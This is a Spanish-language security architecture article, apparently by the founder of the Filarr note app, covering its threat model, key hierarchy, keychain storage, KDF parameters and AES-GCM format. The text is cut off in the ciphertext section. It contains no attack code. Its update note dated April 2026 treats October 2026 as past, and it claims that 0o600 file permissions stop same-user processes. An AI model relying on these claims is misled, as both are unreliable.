La seguridad de Filarr, capa por capa: la arquitectura defensiva completa
Modelo de amenazas, criptografía, endurecimiento de Electron, comparativas y CVE: todo lo que protege tus datos en Filarr, incluso frente a sus servidores.
Mathis Belouar-Pruvot
· fundador de Filarr · · 82 min de lectura
Respuesta rápida. Filarr protege tus datos con cifrado AES-256-GCM de cada archivo con la clave de tu cuenta (FEK), con un valor aleatorio nuevo para cada uno; una jerarquía de claves KEK/FEK en la que la KEK se deriva de tu contraseña con PBKDF2-SHA-512 (600 000 iteraciones); autenticación de dos factores TOTP opcional, y una sincronización en la nube zero-knowledge en la que los servidores solo guardan blobs cifrados opacos. Electron está endurecido con todos sus fuses, contextIsolation, sandbox y una CSP estricta. Hay una auditoría independiente prevista, todavía no realizada.
Actualización v2.3.1 (18 de abril de 2026): este artículo refleja el estado del código tras la auditoría de seguridad completa publicada en la v2.2.1, el endurecimiento criptográfico de la v2.2.2 (todos los fuses de Electron + HKDF en el emparejamiento) y la actualización a Electron 41 de la v2.3.0, que corrigió 18 CVE acumuladas en la rama 39.
Filarr es un espacio de trabajo cifrado local-first con sincronización en la nube zero-knowledge. En la práctica, esto significa que tus datos nunca salen de tu equipo en claro, ni siquiera cuando se sincronizan con la nube: los servidores de Filarr solo guardan blobs cifrados opacos que no pueden descifrar, y ni una solicitud de una autoridad ni una copia robada de sus datos producen nada legible. No es un eslogan de marketing: es la consecuencia de una arquitectura en la que tu clave de cifrado no sale nunca de tu dispositivo sin haber sido envuelta antes, ya sea por una clave derivada de tu contraseña o por una clave de emparejamiento efímera. Su límite conocido se detalla en el §2: desde el 16 de octubre de 2026, una app actualizada inicia sesión con una clave derivada de tu contraseña, pero durante una transición de unos dos meses, una cuenta que todavía no ha vuelto a iniciar sesión, o una versión antigua de la app, sigue enviando la propia contraseña, que un servidor comprometido podría capturar.
El artículo que sigue describe cada mecanismo de seguridad en funcionamiento, con los parámetros exactos, los archivos exactos, las CVE exactas corregidas, comparaciones con otras herramientas del mercado y referencias técnicas (NIST, RFC, OWASP, artículos académicos) para cada decisión. Nada de un vago «grado militar», nada de vaguedades artísticas: si quieres auditar el código, cada elección está documentada y es trazable.
Si solo tienes diez minutos, la sección de resumen cubre lo esencial. Si no, ponte cómodo: la defensa en profundidad lleva su tiempo.
Índice
- Modelo de amenazas: a quién nos enfrentamos y con qué capacidades
- Zero-knowledge: lo que significa de verdad
- La jerarquía de claves: contraseña → KEK → FEK
- Argon2id y PBKDF2: por qué Filarr usa los dos
- AES-256-GCM: elección, puntos fuertes y trampas mortales
- Autenticación de dos factores (2FA): TOTP, códigos de respaldo y lo que protege de verdad
- Emparejamiento multidispositivo: ECDH y HKDF por dentro
- Endurecimiento de Electron: una app, tres aislamientos
- Content Security Policy: lo que bloquea de verdad
- Saneamiento contra XSS: DOMPurify y sus trampas conocidas
- Anatomía de una kill chain: de XSS a RCE (antes y después de la v2.2.1)
- Cadena de suministro: lecciones de event-stream, ua-parser-js y node-ipc
- Historial de CVE
- Comparación con otras herramientas
- Hoja de ruta de seguridad
- Resumen
- Referencias y lecturas complementarias
1. Modelo de amenazas
Un modelo de amenazas solo sirve si es honesto sobre sus límites. Anunciar «Filarr es seguro contra todos los atacantes» es mentir por omisión. La verdadera pregunta es: contra qué adversarios te defiende Filarr, con qué capacidades, y a partir de qué umbral ceden esas defensas. Esta sección responde explícitamente a esas tres preguntas.
1.1 Qué queremos proteger
La superficie que hay que proteger se divide en cuatro categorías. La primera, evidente, es el contenido del usuario: notas, archivos y metadatos asociados (nombres de carpetas, etiquetas, estructura jerárquica, marcas de tiempo de modificación). La segunda es el grupo de claves de cifrado: la FEK (File Encryption Key), que cifra todo lo demás; la KEK (Key Encryption Key), derivada de tu contraseña, y las claves efímeras generadas durante el emparejamiento multidispositivo. La tercera es la integridad del propio binario de Electron: queremos garantizar que ningún atacante pueda ejecutar código arbitrario en el proceso de Filarr, ya sea inyectando argumentos en la línea de comandos, parcheando el archivo app.asar en disco o comprometiendo una dependencia de npm. La cuarta, por último, es la disponibilidad: la app no debe poder usarse como vector de denegación de servicio (nada de ransomware mediante una bomba ZIP importada, nada de cierres reproducibles a partir de entradas maliciosas).
Estas cuatro categorías no se tratan igual. El contenido y las claves disfrutan de una protección criptográfica fuerte: un atacante que lea los blobs cifrados no puede hacer nada con ellos. La integridad del binario se apoya en mecanismos más sutiles (fuses de Electron, validación del ASAR, CSP), detallados en la sección 8. La disponibilidad se trata como un objetivo clásico de robustez: límites de tamaño, límites de profundidad, validación estricta.
1.2 Perfiles de adversario considerados
Partiendo de la clasificación STRIDE y del marco MITRE ATT&CK, distinguimos siete perfiles de adversario, cada uno con sus propias capacidades y sus defensas específicas:
| Adversario | Capacidades | Táctica MITRE | Defensa principal |
|---|---|---|---|
| Servidor de Filarr comprometido (RCE, empleado desleal, solicitud de una autoridad) | Lee todos los blobs, falsifica respuestas de la API | T1565 (Data Manipulation) | Cifrado del lado del cliente: lo que guarda no abre nada sin tu contraseña; inicio de sesión con clave derivada desde el 16 de octubre de 2026, pero durante la transición una cuenta todavía no migrada, o una versión antigua de la app, sigue enviando su contraseña, que un servidor comprometido podría capturar |
| MitM de red (cafetería pública, proveedor de internet hostil, actor estatal) | Intercepta el tráfico, falsifica respuestas TLS | T1557 (Adversary-in-the-Middle) | TLS 1.3 + HSTS + pinning implícito (endpoint fijo) + validación estricta con new URL() |
| Malware local a nivel de usuario (troyano en un .exe descargado) | Lee el directorio personal, observa tiempos, inyecta variables de entorno | T1059 (Command and Scripting Interpreter), T1055 (Process Injection) | Fuses de Electron (RunAsNode: false, EnableNodeOptionsEnvironmentVariable: false), comparaciones en tiempo constante, lista de IPC permitidos |
| XSS en el renderer (nota trampa, importación hostil de Obsidian) | Ejecuta JS en la app con los privilegios del renderer | T1189 (Drive-by Compromise) | contextIsolation: true, sandbox: true, lista estricta de IPC permitidos, DOMPurify defensivo con FORBID_TAGS ampliado |
| Cadena de suministro npm (dependencia corrompida tras el robo de una cuenta) | Inyecta código en un paquete que cargamos | T1195.002 (Compromise Software Supply Chain) | npm audit trimestral, CSP restrictiva, fuses, validación de integridad del ASAR |
| Acceso físico sin conexión (portátil robado) | Acceso completo al disco sin sesión activa | T1005 (Data from Local System) | FEK sellada en el llavero del sistema (DPAPI/Keychain/libsecret), el modo Enhanced Lock borra .fek_safe al cerrar |
| Proveedor de la nube (Cloudflare, R2) | Lee todos los objetos del bucket | T1530 (Data from Cloud Storage) | Objetos cifrados del lado del cliente: la FEK nunca existe en R2, ni siquiera temporalmente |
Cada fila corresponde a una superficie de ataque distinta con su propia cadena de mitigaciones. Podemos defendernos de una copia robada de los datos del servidor (cifrado del lado del cliente), pero no de un root local (que puede volcar la RAM); podemos bloquear un XSS en el renderer (contextIsolation + sandbox), pero no podemos impedir que un usuario elija password123. Defensa en profundidad significa cubrir cada fila con capas independientes, para que una sola brecha no lo comprometa todo.
1.3 Contra qué no pretendemos protegerte
Por honestidad intelectual, varias clases de ataque quedan explícitamente fuera del alcance. Decirlo con claridad evita malentendidos: Filarr no está diseñado para estos casos de uso, y quien esté expuesto a ellos debería usar otras herramientas.
Primero, un atacante con privilegios de root, administrador o SYSTEM en tu equipo puede saltarse todas las defensas de software. Puede volcar la memoria del proceso de Filarr (y leer la FEK en claro mientras está en la RAM), parchear directamente el binario para desactivar las comprobaciones o instalar un keylogger que capture tu contraseña antes incluso de que la escribas en la app. Ningún software en espacio de usuario resiste a un atacante con los mismos privilegios que el sistema operativo: la defensa debe hacerse a nivel del sistema (Windows Defender en Windows, SELinux/AppArmor en Linux, XProtect y Gatekeeper en macOS). Filarr no pretende sustituir esas capas.
Después, una contraseña trivial vuelve inútil cualquier criptografía. Si tu contraseña es password2024, ninguna derivación de clave de 600 000 iteraciones te salvará de un ataque de fuerza bruta dirigido con GPU. Con 8 GPU modernas RTX 4090, SHA-512 alcanza unos 20 gigahashes por segundo (benchmarks de Hashcat de 2024), suficiente para recorrer un diccionario de 10^10 entradas en aproximadamente medio segundo. PBKDF2 multiplica ese tiempo por 600 000, lo que lleva el ataque a unos tres días y medio en lugar de medio segundo: sigue al alcance de un adversario motivado si la contraseña es débil. El eslabón débil eres tú, no la criptografía.
Tercero, Filarr no está diseñado para resistir a un Estado con acceso al firmware. Si tu adversario puede instalar un implante en la BIOS, en el Intel Management Engine o en el firmware del disco duro, estás perdido sea cual sea la calidad del cifrado a nivel de aplicación. Para ese modelo de amenazas (periodistas bajo dictaduras autoritarias, disidentes políticos, denunciantes), las herramientas adecuadas son Qubes OS para el aislamiento compartimentado, Tails para un uso efímero y sin rastro, y Signal para comunicarse. Filarr es una herramienta de productividad con un cifrado fuerte para el gran público preocupado por su privacidad, no una herramienta para burlar los dispositivos de un Estado.
Por último, y probablemente sea lo más importante para el usuario medio: si olvidas tu contraseña Y tu frase de recuperación, tus datos se pierden para siempre. Es el coste inevitable del zero-knowledge. No existe ninguna «contraseña de administrador» oculta que un equipo de soporte pueda usar para rescatarte, porque si existiera, existiría también para cualquiera que comprometa Filarr. Esta asimetría es el precio para que nuestros servidores solo guarden datos que no pueden leer.
2. Zero-knowledge
El término «zero-knowledge» se ha convertido en una palabra de moda diluida que ha perdido su sentido. En criptografía formal, una prueba de conocimiento cero designa un protocolo muy preciso en el que un probador convence a un verificador de la verdad de un hecho sin revelar nada más. Los protocolos zk-SNARK que usan Zcash o los rollups de Ethereum son ejemplos. Filarr no implementa nada de eso, y afirmar lo contrario sería un mal uso del término.
Lo que Filarr implementa es lo que se llama, con más precisión, almacenamiento zero-knowledge o cifrado de extremo a extremo en reposo, en el sentido que le dan Bitwarden, ProtonDrive, Tresorit o 1Password: el servidor recibe los datos, los guarda y los retransmite, pero solo los tiene en una forma que no puede descifrar. Esta propiedad no la garantiza una prueba criptográfica sofisticada, sino una invariante de arquitectura estricta: las claves de cifrado nunca pasan en claro por el servidor.
Para concretar esta promesa, imagina un servidor de Filarr que recibe una nota de un usuario con el texto «Soy David». Lo que ve el servidor es, literalmente, una secuencia de bytes de esta forma:
[marcador FEK de 4 bytes]
[nonce aleatorio de 12 bytes]
2f 8a c3 d1 7e ... (texto cifrado ~98 bytes)
[etiqueta de autenticación de 16 bytes]
Esta secuencia es indistinguible de una secuencia aleatoria del mismo tamaño para cualquiera que no tenga la FEK. Es una propiedad formal llamada IND-CCA2 (indistinguibilidad frente a un ataque adaptativo de texto cifrado elegido), que AES-GCM ofrece siempre que nunca se reutilice un nonce con la misma clave (ver el §5.3). Dicho de otro modo: aunque un atacante pueda enviar al servidor textos cifrados arbitrarios y observar las respuestas, no puede deducir de los blobs ninguna información sobre su contenido más allá de su tamaño, que GCM no oculta; ni el idioma, ni la presencia de patrones repetidos. Salvo por su longitud, el texto cifrado es tan informativo como un flujo de datos aleatorios.
Para que esta propiedad se mantenga, la arquitectura impone una línea roja absoluta: el servidor nunca debe tocar la FEK en claro, en ningún momento y de ninguna forma. Esa línea se traduce en varias prohibiciones prácticas. SÍ existe una copia de tu clave maestra guardada en el servidor (hace falta para que puedas iniciar sesión desde un dispositivo nuevo sin emparejarlo a mano con otro ya desbloqueado), pero esa copia está cifrada con una clave derivada de tu contraseña mediante PBKDF2-SHA-512 con 600 000 iteraciones, y el servidor nunca guarda tu contraseña. Desde el 16 de octubre de 2026, una app actualizada ni siquiera la envía: inicia sesión con una clave derivada de la contraseña con su propia sal, distinta de la KEK, y el servidor solo conserva un hash bcrypt de esa clave. Una segunda copia de la clave maestra se envuelve del mismo modo con tu frase de recuperación de 24 palabras. Sin esa contraseña o esa frase, la copia cifrada es un blob inerte: una copia robada de la base de datos no permite, por tanto, descifrar tus archivos, ni nos permite recuperar tu cuenta si pierdes la contraseña. El límite es la transición: durante unos dos meses, una cuenta que todavía no ha vuelto a iniciar sesión, o una versión antigua de la app, sigue enviando la contraseña al iniciar sesión (por HTTPS, y comprobada contra un hash bcrypt), y un servidor modificado o comprometido podría capturarla en ese momento y desenvolver después esa copia. Es el mismo modelo que la ProtectedSymmetricKey de Bitwarden y las claves privadas cifradas de ProtonMail, cuyos clientes tampoco envían la contraseña en sí, solo un valor derivado de ella. En todos los casos, la copia del servidor existe para hacer posible el multidispositivo, no para saltarse la criptografía. No hay ninguna «clave maestra de administrador» que descifre todas las cuentas cuando haga falta, porque una clave así sería de inmediato el objetivo prioritario de un atacante que comprometiera el servidor. No se realiza ninguna derivación de clave en el servidor, ni siquiera intermedia: toda la cadena criptográfica, de la contraseña a la FEK, se ejecuta en el navegador o en el proceso principal de Electron. Y, por último, cuando la FEK debe pasar a un dispositivo nuevo mediante emparejamiento directo (los dos dispositivos juntos, sin pasar por la contraseña), la FEK se cifra con una clave efímera derivada por ECDH entre los dos dispositivos, cuyas partes privadas el servidor nunca ha visto: solo ve un blob ya cifrado que no puede abrir (ver el §7).
Esta disciplina de arquitectura es la misma que la de Signal, 1Password, Bitwarden, ProtonMail y Tresorit. Funciona con una condición necesaria: el código del cliente debe ser honesto. Si el cliente enviara la FEK en secreto al servidor en una cabecera HTTP personalizada, toda la construcción se vendría abajo. Precisamente por eso importa la transparencia del código fuente, y por eso el enfoque «confía, pero verifica» (el código del cliente de escritorio es público, los mecanismos están documentados y hay una auditoría externa prevista) es la columna vertebral de la confianza, más que cualquier discurso de marketing.
3. La jerarquía de claves
En el corazón de Filarr hay una arquitectura criptográfica de dos niveles, clásica pero aplicada con rigor: una clave maestra aleatoria que cifra todos los datos del usuario y una clave derivada de la contraseña que cifra la clave maestra. Esta separación no es un detalle: hace posibles varias funciones críticas que vamos a detallar, y es el patrón estándar que adoptan todas las herramientas de cifrado modernas serias.
3.1 La FEK, la clave raíz que cifra todo el contenido
La File Encryption Key, abreviada FEK, es una clave simétrica de 256 bits generada localmente la primera vez que creas un perfil. Se produce con una llamada a crypto.getRandomValues(), que garantiza una fuente CSPRNG (generador de números pseudoaleatorios criptográficamente seguro) de calidad de sistema operativo: en Windows es CryptGenRandom, alimentado por RtlGenRandom y por las fuentes de entropía de hardware modernas; en Linux es /dev/urandom, alimentado por la entropía que el kernel acumula desde el arranque; en un macOS reciente es CCRandomGenerateBytes, basado en el generador Fortuna del sistema. La calidad de esta fuente es fundamental (una FEK predecible lo comprometería todo), y por eso nunca la generamos con Math.random() ni con otras funciones que no sean explícitamente criptográficas.
Esta única clave de 256 bits protege absolutamente todo el contenido del usuario: cada archivo por separado (cifrado con la clave de tu cuenta, la FEK, con un valor aleatorio nuevo para cada archivo; solo los archivos grandes importados en el escritorio y los bloques sincronizados derivan además una clave propia), cada nota escrita en el editor, todos los metadatos asociados (nombres de carpetas, estructura jerárquica de los cuadernos, etiquetas de las notas, fechas de creación y modificación) y, por último, el manifiesto de sincronización en la nube, ese archivo especial que enumera todos los blobs presentes en R2 con sus identificadores y versiones. Este manifiesto también está cifrado, para no revelar al servidor la estructura de tu bóveda (aunque no veamos el contenido de los archivos, saber que tienes exactamente 47 notas con tal grafo de enlaces ya sería una fuga de información).
La regla inviolable en torno a la FEK es que nunca debe salir del dispositivo en claro. Ni en un archivo de registro de errores, ni en la carga útil de una petición a la API, ni en una copia de seguridad automática a un servicio de terceros, ni en un mensaje de excepción mostrado al usuario. Sin embargo, la FEK puede salir de un dispositivo en dos circunstancias, siempre cifrada. Durante la sincronización en la nube, sale envuelta por tu KEK (derivada a su vez de tu contraseña) y por tu frase de recuperación; el servidor nunca guarda tu contraseña, así que una copia de sus datos no puede desenvolverla, y la transición del inicio de sesión se detalla en el §2. Durante el emparejamiento multidispositivo directo, va cifrada con una clave efímera derivada por Diffie-Hellman entre los dos dispositivos implicados, una clave que ni el servidor de Filarr ni ningún tercero pueden reconstruir. Los detalles del protocolo están en la sección 7.
3.2 ¿Por qué no cifrar directamente con la contraseña?
Un lector atento podría preguntarse por qué no derivar simplemente una clave de la contraseña y cifrar los archivos directamente con ella. La respuesta cabe en una frase: la experiencia de cambiar la contraseña. Si cifráramos los archivos con una clave derivada directamente de la contraseña, cambiarla obligaría a volver a cifrar cada archivo con la nueva clave. Para una bóveda de 50 GB con 10 000 archivos, la operación tardaría horas, saturaría el disco y se rompería ante cualquier interrupción: una pesadilla funcional que disuadiría a cualquiera de cambiar nunca su contraseña.
El patrón estándar, que usan 1Password, Bitwarden, Keeper, LastPass, Signal y cualquier herramienta seria, separa por tanto dos claves con funciones distintas. La KEK (Key Encryption Key) se deriva de la contraseña con una función de derivación de claves costosa; cambia cada vez que cambia la contraseña. La FEK es aleatoria, se genera una sola vez al crear el perfil y se cifra («envuelve») con la KEK en un archivo wrapped_fek.json guardado localmente y, en las cuentas en la nube, replicado en el servidor en esa misma forma cifrada, para que puedas volver a iniciar sesión desde un dispositivo nuevo sin pasar por un emparejamiento directo. Cambiar la contraseña consiste, por tanto, en derivar una KEK nueva, volver a envolver la FEK con ella, escribir el nuevo wrapped_fek.json en local y enviarlo al servidor: una operación de milisegundos que no toca ni un solo archivo cifrado.
Este diseño ofrece una ventaja inesperada pero esencial: permite que varias KEK protejan la misma FEK. Es exactamente lo que hace Filarr con el archivo de clave de recuperación, disponible en los ajustes además de la frase de recuperación de 24 palabras: cuando exportas tu clave de recuperación, derivamos una KEK alternativa a partir de una contraseña que eliges específicamente para esa exportación (distinta de la contraseña principal de la bóveda), envolvemos la misma FEK con esa KEK alternativa y guardamos el resultado en un archivo JSON que archivas sin conexión. Si pierdes la contraseña de tu bóveda, puedes recuperar el acceso a todos tus datos con ese archivo de recuperación, siempre que no hayas perdido también la contraseña de la exportación, claro.
3.3 Persistencia de la FEK desbloqueada en el llavero del sistema
Una vez que has introducido tu contraseña al arrancar, se deriva la KEK, se desenvuelve la FEK y la FEK queda en la RAM. Volver a pedir la contraseña en cada arranque sería insoportable en la práctica: ningún usuario lo acepta a la larga. La solución estándar, muy extendida entre las apps de escritorio modernas, es conservar la FEK desbloqueada en el llavero del sistema operativo, que cifra la FEK con una clave derivada de tu sesión de usuario activa.
En Windows 10 y posteriores, usamos la DPAPI (Data Protection API) que Electron expone como safeStorage.encryptString(). DPAPI cifra los datos con una clave derivada de una mezcla del hash de tu sesión de Windows, entropía propia del equipo (no exportable) y entropía propia del usuario. Resultado: el archivo cifrado es ilegible desde otra cuenta de usuario del mismo equipo, ilegible si se copia a otro equipo e ilegible si tu sesión de Windows está cerrada.
En macOS, la misma API de Electron se conecta a Keychain Services. El propio llavero del sistema se desbloquea con la contraseña de tu sesión o con Touch ID; su clave maestra está sellada en el Secure Enclave en los Mac recientes, lo que lo hace resistente incluso a un atacante con acceso físico al equipo.
En Linux, la abstracción pasa por libsecret, que puede apoyarse en gnome-keyring o en kwallet según el entorno de escritorio. La clave se deriva al iniciar sesión y el daemon la mantiene en RAM hasta que la cierras. En distribuciones mínimas sin daemon de llavero, la API puede devolver «encryption not available».
El archivo resultante, llamado .fek_safe y guardado en la carpeta del perfil de Filarr, es por tanto ilegible incluso para ti fuera de una sesión activa. Además, aplicamos permisos Unix 0o600 (lectura y escritura solo para el propietario) en todas las plataformas, lo que también bloquea el acceso de otros procesos sin privilegios que se ejecuten con el mismo usuario.
La v2.2.1 introdujo un cambio de comportamiento importante para el caso en que el llavero no está disponible: antes, hybrid:storeFEK devolvía false en silencio sin conservar la FEK. Ese diseño dejaba la puerta abierta a que un futuro desarrollador, con ganas de «facilitar la vida a los usuarios de Linux sin llavero», añadiera sin querer una alternativa en claro. Ahora la llamada lanza un error explícito que llega al usuario: «OS keychain unavailable, vault password required at each launch» (llavero del sistema no disponible, contraseña de la bóveda obligatoria en cada arranque). Es menos agradable para la experiencia de uso, pero es la decisión correcta: ninguna alternativa implícita que algún día pueda degenerar en «escribimos la FEK en claro para que funcione de todos modos». El principio de fondo es fallar cerrado en lugar de fallar abierto: ante la duda, rechazar, no improvisar.
3.4 Enhanced Lock y bloqueo automático
Para los usuarios con un modelo de amenazas más exigente, Filarr ofrece dos mecanismos complementarios que reducen el tiempo durante el cual la FEK está accesible en memoria.
El modo «Enhanced Lock» (bloqueo reforzado), una vez activado, borra el archivo .fek_safe cada vez que cierras la app. En concreto, la FEK ya no se conserva entre sesiones: cada arranque exige volver a escribir la contraseña de la bóveda. Es el modo recomendable si compartes físicamente el equipo con otras personas, si viajas con un portátil que podrían retenerte en una frontera o, simplemente, si prefieres aceptar el coste de una contraseña en cada arranque a cambio de una superficie de ataque menor.
El bloqueo automático, configurable a 5, 15, 30 o 60 minutos de inactividad, actúa durante la sesión. Pasado el plazo elegido sin interacción, Filarr sobrescribe la FEK en la memoria del renderer (rellenando el Uint8Array con ceros y eliminando las referencias), muestra la pantalla de bloqueo y pide el PIN (o la contraseña completa, según la configuración). Un atacante que accediera a tu equipo durante tu pausa para el café ya no encontraría la FEK en la memoria del proceso de Electron, o al menos no en las referencias de JavaScript gestionadas por el recolector de basura.
Sobre este último punto, honestidad intelectual obligada: en JavaScript, «borrar la memoria» no tiene la garantía estricta que obtienes en Rust o en C con funciones como memset_s. El motor V8 puede haber copiado ya la FEK durante sus optimizaciones internas (inlining, promociones del espacio joven al antiguo), y el recolector de basura no pone a cero esas copias de inmediato. Frente a un adversario de nivel forense capaz de volcar la RAM en tiempo real con una herramienta como Volatility, o directamente mediante un ataque DMA por Thunderbolt, sigue habiendo una ventana en la que se pueden recuperar fragmentos de la FEK. Es una limitación intrínseca del entorno de ejecución de JavaScript, no una decisión de implementación. Frente a un malware clásico a nivel de usuario o a un compañero curioso que se sienta en tu teclado, la protección es eficaz.
4. Argon2id y PBKDF2
Toda la seguridad del cifrado en reposo depende, en última instancia, de la calidad de la función de derivación de claves (KDF) que transforma tu contraseña en una clave criptográfica. Una contraseña de 10 caracteres tiene, en el mejor de los casos, entre 40 y 50 bits de entropía como mucho: muy insuficiente para resistir una fuerza bruta directa. El papel de la KDF es ralentizar cada intento de derivación hasta hacer la fuerza bruta económicamente prohibitiva para un atacante, sin dejar de ofrecer una latencia aceptable al usuario legítimo, que deriva una sola clave por arranque.
Filarr incluye dos KDF distintas, para secretos distintos, y es una decisión que merece explicación porque puede sorprender.
4.1 ¿Por qué dos KDF?
En el proceso principal de Node.js, donde están disponibles todas las bibliotecas nativas, Argon2id está disponible a través del paquete node-argon2 y protege secretos distintos de la contraseña de tu bóveda, como el PIN de desbloqueo local. Es la KDF de referencia en 2026, ganadora de la Password Hashing Competition en 2015 y estandarizada por la RFC 9106 en 2021.
En el renderer (el navegador Chromium integrado), no tenemos acceso a Argon2. La razón es incómoda, pero real: la Web Crypto API que exponen los navegadores sigue sin admitir Argon2 en 2026, a pesar de un debate abierto en el W3C desde 2019. Las sucesivas propuestas para añadirlo (CryptoKey.derivedKey con "Argon2" como nombre de algoritmo) nunca prosperaron, sobre todo porque se consideró demasiado costoso mantener implementaciones nativas uniformes en todos los navegadores. Así que la KEK que envuelve tu FEK se deriva con PBKDF2-SHA-512, una alternativa moderna aceptable, tanto en el renderer como en el proceso principal.
Esta hibridación no es ideal (preferiríamos usar Argon2id en todas partes), pero refleja la restricción real de la plataforma. La alternativa sería compilar una implementación WASM de Argon2 y cargarla en el renderer, pero eso añadiría una sobrecarga de carga (~100-200 KB de WASM), una dependencia de terceros que mantener y complicaciones para validar la integridad del binario WASM. Hemos considerado que la solución híbrida es un mejor compromiso, al menos hasta que la Web Crypto API estandarice Argon2.
4.2 Parámetros de Argon2id y por qué estos valores
Cuando usamos Argon2id en el proceso principal, la configuración es:
const ARGON2_OPTIONS = {
type: argon2.argon2id,
memoryCost: 65536, // 64 MB de RAM por hash
timeCost: 3, // 3 pasadas
parallelism: 4, // 4 hilos
hashLength: 32, // salida de 256 bits
};
Estos valores corresponden exactamente a la recomendación de la OWASP Password Storage Cheat Sheet de 2024 para Argon2id. Son el resultado de una calibración que equilibra tres objetivos: ser lo bastante costosa para disuadir a un atacante, lo bastante rápida para no frustrar al usuario y lo bastante frugal en RAM para funcionar en equipos de gama baja.
¿Por qué la variante Argon2id y no Argon2d o Argon2i? Las tres variantes que define el estándar solo difieren en su comportamiento frente a los ataques de canal lateral y por GPU. Argon2d es la más resistente a las GPU, pero vulnerable a los canales laterales: su patrón de acceso a la memoria depende de datos secretos, lo que permite a un atacante que observe la jerarquía de cachés (por ejemplo, con Flush+Reload en un servidor compartido) deducir bits de la contraseña. Argon2i está diseñada para resistir los canales laterales (acceso a la memoria independiente de los datos), pero pierde resistencia frente a las GPU. Argon2id es la variante híbrida: usa Argon2i en la primera pasada (cuando se procesa la contraseña y los canales laterales son más peligrosos) y Argon2d en las siguientes (cuando los datos ya están mezclados y lo que importa es resistir a las GPU). Es la recomendación por defecto desde la RFC 9106 para cualquier uso general.
La elección de 64 MB de memoria por hash es el núcleo de la defensa contra las GPU. Una GPU moderna como una RTX 4090 tiene unos 16 000 núcleos de cálculo y 24 GB de VRAM. Puede paralelizar con eficacia operaciones SHA-256 en las que cada hilo solo necesita unos kilobytes. Pero Argon2id con 64 MB por hash significa que solo caben 24/0,064 ≈ 375 hashes en paralelo por GPU, frente a millones con SHA-256 solo. La paralelización se hunde y el coste por hash se dispara. Es lo que se llama una función memory-hard (de memoria intensiva): diseñada para que el ataque en paralelo sea económicamente prohibitivo, y no solo lento.
4.3 Parámetros de PBKDF2-SHA-512
Para la KEK, usamos PBKDF2 con esta configuración:
{
name: 'PBKDF2',
salt, // 16 bytes aleatorios por usuario
iterations: 600000,
hash: 'SHA-512',
}
600 000 iteraciones con SHA-512 quedan muy por encima de las 210 000 que recomienda OWASP para PBKDF2-SHA512 (600 000 es su cifra para SHA-256). ¿Por qué tanto margen? Sencillamente porque el coste es invisible para el usuario (unos 500 ms en un portátil medio) y el margen sobre las recomendaciones da algo de aire frente al progreso de las GPU en los próximos años.
La elección de SHA-512 en lugar de SHA-256 merece explicación. Las dos variantes de SHA tienen propiedades criptográficas equivalentes, pero SHA-512 procesa bloques de 1024 bits en cada iteración (frente a 512 en SHA-256). En una CPU moderna de 64 bits, SHA-512 es incluso más rápido por byte procesado que SHA-256, porque opera de forma nativa con registros de 64 bits. Pero en una GPU, esa ventaja se invierte en parte: las GPU están optimizadas para operaciones de 32 bits, y SHA-512 las obliga a simular operaciones de 64 bits, lo que añade sobrecarga. Las propias cifras de OWASP lo reflejan: recomienda 210 000 iteraciones para PBKDF2-SHA512 frente a 600 000 para PBKDF2-SHA256, unas tres veces menos para una resistencia comparable. No es enorme, pero es gratis.
Una elección relacionada por la que a veces nos preguntan es por qué no 1 millón o 2 millones de iteraciones en lugar de 600 000. La respuesta es de experiencia de uso: en un portátil i5 cansado de 2018, 600 000 iteraciones tardan unos 500 ms. Por encima de eso, el usuario percibe claramente una espera en cada desbloqueo, y la fricción acumulada desanima el uso habitual de la app. La ganancia real de seguridad vendría de una función memory-hard como Argon2id, no de llevar PBKDF2 a cifras astronómicas que solo linealizan un problema que las GPU linealizan igual de bien.
4.4 La sal, siempre única, siempre aleatoria
Último elemento de la derivación: la sal. Filarr usa una sal de 16 bytes (128 bits) generada aleatoriamente con crypto.getRandomValues() para cada usuario, guardada junto al hash. Nunca derivada del nombre de usuario, nunca constante entre usuarios, nunca derivada del correo electrónico. Dos razones clásicas justifican esta disciplina.
La primera es que una sal aleatoria vuelve inútiles las tablas arcoíris, esos enormes precálculos de los atacantes que asocian contraseñas comunes con sus hashes. Con una sal distinta por usuario, una tabla arcoíris válida para la usuaria Alice no sirve para el usuario Bob, aunque los dos hayan elegido la misma contraseña.
La segunda es evitar la replicación entre usuarios: si Alice y Bob eligen los dos la contraseña hunter2 (un clásico), sus hashes derivados serán totalmente distintos gracias a la sal aleatoria. Un atacante que comprometa una base de datos no puede detectar esa coincidencia, que sería una información muy valiosa, porque le permitiría deducir que, si descifra una de las dos contraseñas, también tiene la otra.
4.5 Comparación con otras herramientas
Para situar a Filarr en el ecosistema, estas son las KDF que eligen algunas herramientas conocidas:
| Herramienta | KDF | Parámetros | Comentario |
|---|---|---|---|
| Filarr (v2.3) | PBKDF2-SHA-512 (KEK) + Argon2id (otros secretos, proceso principal) | 600k iter. / m=64MB t=3 p=4 | Web Crypto no tiene Argon2: la KEK se queda en PBKDF2 |
| Bitwarden | PBKDF2-SHA-256 | 600k iter. (valor por defecto de 2023) | Migración a Argon2id en curso |
| 1Password | PBKDF2-SHA-256 + Secret Key | 650k iter. | La Secret Key (256 bits guardada aparte) duplica la seguridad |
| Signal | HKDF-SHA-256 (no es estrictamente una KDF de contraseña) | N/A | Signal no tiene contraseña de usuario: todo se deriva del PIN + Secure Value Recovery |
| KeePassXC | Argon2id (o AES-KDF heredado) | Configurable | Lo más avanzado en escritorio |
| LastPass | PBKDF2-SHA-256 | 100k iter. (escandaloso en 2024; ver el incidente de 2022) | A evitar |
La KEK de Filarr se sitúa en la mitad superior de la tabla gracias a su número de iteraciones de PBKDF2-SHA-512, pero las herramientas con Argon2id, como KeePassXC, resisten mejor a las GPU. 1Password añade otro tipo de defensa, su Secret Key: una clave de 256 bits que el usuario guarda fuera del servidor (en un código QR impreso, por ejemplo) y que se combina con la contraseña para derivar la KEK final. Estudiamos este modelo para Filarr, pero el deterioro de la experiencia de uso (tener que manejar un archivo adicional junto a la contraseña en cada dispositivo nuevo) se consideró incompatible con el público general al que se dirige la herramienta.
5. AES-256-GCM
Cada archivo y cada nota de Filarr se cifra por separado, sin encadenamiento entre archivos, con AES-256 en modo GCM (Galois/Counter Mode), estandarizado por el NIST SP 800-38D en 2007. Esta elección no se discute en la comunidad criptográfica moderna, pero merece explicar por qué este modo y no otro, y qué trampas hay que evitar al usarlo.
5.1 Estructura exacta del texto cifrado
En disco, un archivo cifrado tiene la siguiente estructura:
[4 bytes FEK marker = 0x46 0x45 0x4B 0x01] # identifica el formato v1
[12 bytes random nonce] # único por cifrado
[variable-length ciphertext]
[16 bytes GCM authentication tag]
